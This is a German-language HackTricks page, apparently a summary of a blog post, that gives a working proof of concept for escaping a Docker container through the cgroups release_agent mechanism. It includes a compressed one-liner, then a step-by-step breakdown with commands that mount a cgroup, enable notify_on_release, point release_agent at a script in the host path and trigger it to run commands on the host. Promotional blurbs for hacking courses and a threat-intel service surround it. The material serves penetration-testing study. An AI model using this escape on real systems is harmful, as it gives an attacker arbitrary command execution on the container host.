Docker release_agent cgroups escape

Lernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

WhiteIntel ist eine von Dark Web angetriebene Suchmaschine, die kostenlose Funktionen bietet, um zu überprüfen, ob ein Unternehmen oder seine Kunden von Stealer-Malware kompromittiert wurden.

Das Hauptziel von WhiteIntel ist es, Kontoübernahmen und Ransomware-Angriffe zu bekämpfen, die aus informationsstehlender Malware resultieren.

Sie können ihre Website besuchen und ihren Motor kostenlos ausprobieren unter:


Für weitere Details siehe den originalen Blog-Beitrag. Dies ist nur eine Zusammenfassung:

Original PoC:

d=`dirname $(ls -x /s*/fs/c*/*/r* |head -n1)`
mkdir -p $d/w;echo 1 >$d/w/notify_on_release
t=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
touch /o; echo $t/c >$d/release_agent;echo "#!/bin/sh
$1 >$t/o" >/c;chmod +x /c;sh -c "echo 0 >$d/w/cgroup.procs";sleep 1;cat /o

Der Proof of Concept (PoC) demonstriert eine Methode, um cgroups auszunutzen, indem eine release_agent-Datei erstellt wird und deren Aufruf ausgelöst wird, um beliebige Befehle auf dem Container-Host auszuführen. Hier ist eine Aufschlüsselung der beteiligten Schritte:

  1. Umgebung vorbereiten:

  • Ein Verzeichnis /tmp/cgrp wird erstellt, um als Einhängepunkt für die cgroup zu dienen.

  • Der RDMA cgroup-Controller wird in dieses Verzeichnis eingehängt. Falls der RDMA-Controller fehlt, wird empfohlen, den memory cgroup-Controller als Alternative zu verwenden.

mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
  1. Richten Sie die untergeordnete Cgroup ein:

  • Eine untergeordnete Cgroup mit dem Namen "x" wird innerhalb des eingehängten Cgroup-Verzeichnisses erstellt.

  • Benachrichtigungen für die Cgroup "x" werden aktiviert, indem eine 1 in ihre notify_on_release-Datei geschrieben wird.

echo 1 > /tmp/cgrp/x/notify_on_release
  1. Konfigurieren des Release-Agenten:

  • Der Pfad des Containers auf dem Host wird aus der Datei /etc/mtab abgerufen.

  • Die release_agent-Datei der cgroup wird dann so konfiguriert, dass ein Skript namens /cmd im erhaltenen Host-Pfad ausgeführt wird.

host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent
  1. Erstellen und Konfigurieren des /cmd-Skripts:

  • Das /cmd-Skript wird innerhalb des Containers erstellt und so konfiguriert, dass es ps aux ausführt und die Ausgabe in einer Datei namens /output im Container umleitet. Der vollständige Pfad von /output auf dem Host wird angegeben.

echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd
  1. Starte den Angriff:

  • Ein Prozess wird innerhalb des "x" Kind-Cgroups gestartet und sofort beendet.

  • Dies löst den release_agent (das /cmd Skript) aus, das ps aux auf dem Host ausführt und die Ausgabe in /output innerhalb des Containers schreibt.

sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

WhiteIntel ist eine von Dark Web angetriebene Suchmaschine, die kostenlose Funktionen bietet, um zu überprüfen, ob ein Unternehmen oder seine Kunden von Stealer-Malware kompromittiert wurden.

Das Hauptziel von WhiteIntel ist es, Kontoübernahmen und Ransomware-Angriffe aufgrund von informationsstehlender Malware zu bekämpfen.

Sie können ihre Website besuchen und ihre Engine kostenlos ausprobieren unter:

Erlernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Last updated